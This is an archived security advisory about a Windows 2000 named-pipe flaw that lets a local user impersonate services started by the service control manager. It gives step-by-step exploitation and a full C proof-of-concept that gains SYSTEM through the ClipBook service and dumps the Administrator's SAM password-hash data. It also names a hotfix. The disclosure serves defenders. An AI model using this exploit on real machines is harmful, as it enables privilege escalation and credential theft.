TUCoPS :: Windows :: krnl15~2.txt

Windows 2000 bugs allow users to elevate security context

COMMAND

    kernel

SYSTEMS AFFECTED

    Win 2000

PROBLEM

    Mike Schiffman  found following  (Guardent Security  Advisory).  A
    vulnerability in the way  Windows 2000 handles named  pipes allows
    any non-privileged  user to  elevate his  or her  current security
    context to that  of an arbitrary  service (started by  the service
    control manager).  By exploiting this bug, a non-privileged  local
    user can gain privileged access to the system.

    Guardent discovered and successfully exploited this  vulnerability
    in Microsoft  Windows 2000.   Guardent's research  and development
    team  notified  Microsoft  when  the  vulnerability  was initially
    found and worked with them to fix the problem.

    The vulnerability resides in  the communication algorithm used  to
    implement  a  client/server   architecture  between  the   service
    control manager  (SCM) and  the services  started by  the SCM.  By
    exploiting this vulnerability, a malicious or unauthorized process
    has  the  opportunity  to  effectively  become the server-end of a
    named pipe.  A  service, started by the  SCM, will connect to  the
    named pipe,  and after  becoming the  server-end of  the pipe, the
    process has  the ability  to impersonate  the security  context of
    the client  connected to  the pipe,  which in  this case  is an NT
    Service.

    The  first  step  involved  in  exploiting the vulnerability is to
    determine what the name of the  next NT SCM control pipe will  be.
    This name can be gleaned from the registry:

        HKLM\System\CurrentControlSet\Control\ServiceCurrent.

    Step two: increment the value and append it to the string:

        "\\.\pipe\net\NtControlPipe".

    Step three: create a named pipe using this name and wait for  pipe
    clients.

    Step four: after  the pipe has  been created, instruct  the SCM to
    start  an  arbitrary  service.   All  services  have  a   security
    descriptor associated  with them  that dictates  to the  SCM which
    users  can  perform  which  actions  to  the  service in question.
    Included with the  release of Windows  2000 are numerous  services
    with a  security descriptor  that allows  interactive accounts  to
    start them,  and which  also run  as LocalSystem.   One example is
    "ClipBook".

    At this point, the service  that was recently instructed to  start
    has connected to the malicious  pipe (rather than the SCM  pipe as
    would normally do).

    Finally, the basic requirement for impersonation is to initiate  a
    ReadFile call on the pipe.

    The  malicious  process  now  has  the  ability to impersonate the
    security   context   of   the    client   by   using   the    call
    ImpersonateNamedPipeClient.  This effectively gives the  malicious
    thread an impersonation token of the service that has connected to
    the pipe.

    The  malicious  process  now   has  the  opportunity  to   perform
    privileged operations  under the  security context  of the service
    that has connected to the  malicious named pipe.  The  process can
    now inject  a remote  thread, read  process memory,  or attempt to
    perform  privilege  elevation  techniques  to obtain administrator
    privileges.

    Here is a proof of concept.  If it doesn't work with your compiler
    or you don't have  one, too bad.   It does work with  the compiler
    and the OS version listed below.

    /*
     *  Proof of Concept
     *  Windows2000 services named pipe vulnerability
     *
     *  Author:  Maceo
     *
     *  Compiled with MS VC++ 6.0 SP3
     *
     *  Compiled and tested on:
     *     D:\>uname -sv
     *     Windows2000 5.0.2195
     *
     *  Proof of concept:  This code abuses the clipbook service
     *  to run as the SYSTEM account and then dumps information
     *  from the local SAM database.
     *
     *  This file is for educational purposes only.  As many
     *  would agree, the default install of a W2K server is
     *  inherently insecure against interactive users.  One
     *  does not have to dig very hard to find a way to
     *  elevate a users privileges when placed in an interactive
     *  situation, such as logged in at a console.  For instance:
     *     D:\>time
     *     The current time is: 23:28:38.42
     *     D:\>at 23:29 /interactive cmd.exe
     *
     *  It is with this in mind I release the following code.
     *
     *  Disclaimer: This file is intended as proof of concept, and
     *  is not intended to be used for illegal purposes. The author
     *  does not accept responsibility for ANY damage incurred
     *  by the use of it.
     *
     */

    #include <stdio.h>
    #include <windows.h>

    #define ABUSE_SVC "clipbook"
    #define SVC_KEY "SYSTEM\\CurrentControlSet\\Control\\ServiceCurrent"
    #define SAM_KEY "SAM\\SAM\\Domains\\Account\\Users\\000001F4"

    int main( )
    {
      HKEY hOpen;
      DWORD dwNumber = 0;
      DWORD dwType = REG_DWORD;
      DWORD dwSize = sizeof(DWORD);
      char szNetCmd[256];

      // make sure the service we want to abuse is stopped. //
      sprintf (szNetCmd, "net stop %s", ABUSE_SVC);
      system (szNetCmd);

      // open the current service number key //
      if (RegOpenKeyEx (HKEY_LOCAL_MACHINE, SVC_KEY, 0, KEY_READ, &hOpen))
      {
        printf ("Failed to open key:\n  %s\n", SVC_KEY);
        return 1;
      }

      // read the key //
      if (RegQueryValueEx (hOpen, "", NULL, &dwType, (BYTE *) &dwNumber, &dwSize))
      {
        RegCloseKey (hOpen);
        printf ("Failed to read key:\n  %s\n", SVC_KEY);
        return 2;
      }

      // close the key //
      RegCloseKey (hOpen);

      // build the next named pipe name //
      char szPipe[64];
      sprintf(szPipe, "\\\\.\\pipe\\net\\NtControlPipe%lu", ++dwNumber);

      // create the named pipe before scm can //
      HANDLE hPipe = 0;
      hPipe = CreateNamedPipe (szPipe, PIPE_ACCESS_DUPLEX,
                               PIPE_TYPE_MESSAGE|PIPE_WAIT,
                               2, 0, 0, 0, NULL);
      if (hPipe == INVALID_HANDLE_VALUE)
      {
        printf ("Failed to create named pipe:\n  %s\n", szPipe);
        return 3;
      }

      // start the service we are going to abuse. //
      sprintf(szNetCmd, "start /min net start %s", ABUSE_SVC);
      system(szNetCmd);

      // wait for the service to connect //
      ConnectNamedPipe (hPipe, NULL);

      // read a byte of data from the client //
      if (!ReadFile (hPipe, (void *) &dwNumber, 4, &dwSize, NULL))
      {
        printf ("Failed to read the named pipe.\n");
        CloseHandle(hPipe);
        return 4;
      }

      // assume the identity of the client //
      if (!ImpersonateNamedPipeClient (hPipe))
      {
        printf ("Failed to impersonate the named pipe.\n");
        CloseHandle(hPipe);
        return 5;
      }

      // display impersonating users name //
      dwSize  = 256;
      char szUser[256];
      GetUserName(szUser, &dwSize);
      printf ("Impersonating: %s\n", szUser);

      // Assume we are SYSTEM since it is the default,
      // and let's crack open the SAM database and
      // lookup rid 500 (Administrator unless name has been changed)

      if (RegOpenKeyEx (HKEY_LOCAL_MACHINE, SAM_KEY, 0, KEY_READ, &hOpen))
      {
        printf ("Failed to open key:\n  %s\n", SAM_KEY);
        return 1;
      }

      // read the F key //
      dwSize = 2048;
      BYTE szData[2048];
      if (RegQueryValueEx (hOpen, "F", NULL, &dwType, szData, &dwSize))
      {
        RegCloseKey (hOpen);
        printf ("Failed to read key:\n  %s\\F\n", SAM_KEY);
        return 2;
      }

      // output the key //
      printf ("Dumping SAM for RID 500 ...\n\n");
      printf ("F:0x");
      for (DWORD i = 0; i < dwSize; i++)
      { printf ("%2.2x", (DWORD) szData[i]); }
      printf ("\n\n");

      // read the V key //
      dwSize = 2048;
      if (RegQueryValueEx (hOpen, "V", NULL, &dwType, szData, &dwSize))
      {
        RegCloseKey (hOpen);
        printf ("Failed to read key:\n  %s\\V\n", SAM_KEY);
        return 2;
      }

      // output the key //
      printf ("V:0x");
      for (i = 0; i < dwSize; i++)
      { printf ("%2.2x", (DWORD) szData[i]); }
      printf ("\n");

      // clean up //
      RegCloseKey (hOpen);
      CloseHandle(hPipe);
      return 0;
    }

    Just to set the record  straight, the AT command is  accessible to
    Administrators only under  a default installation  of W2K, so  the
    idea its  used (any  more) to  do privilege  escalation is  likely
    borne out of always running as Administrator (or member of).

SOLUTION

    Guardent  notified  Microsoft  of  this  issue  immediately  after
    discovering and  verifying the  problem.   As a  result, Microsoft
    was able to  locate the source  of the vulnerability  and create a
    hotfix to  alleviate the  problem.   The hotfix  can be downloaded
    from:

        http://www.microsoft.com/Downloads/Release.asp?ReleaseID=23432

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH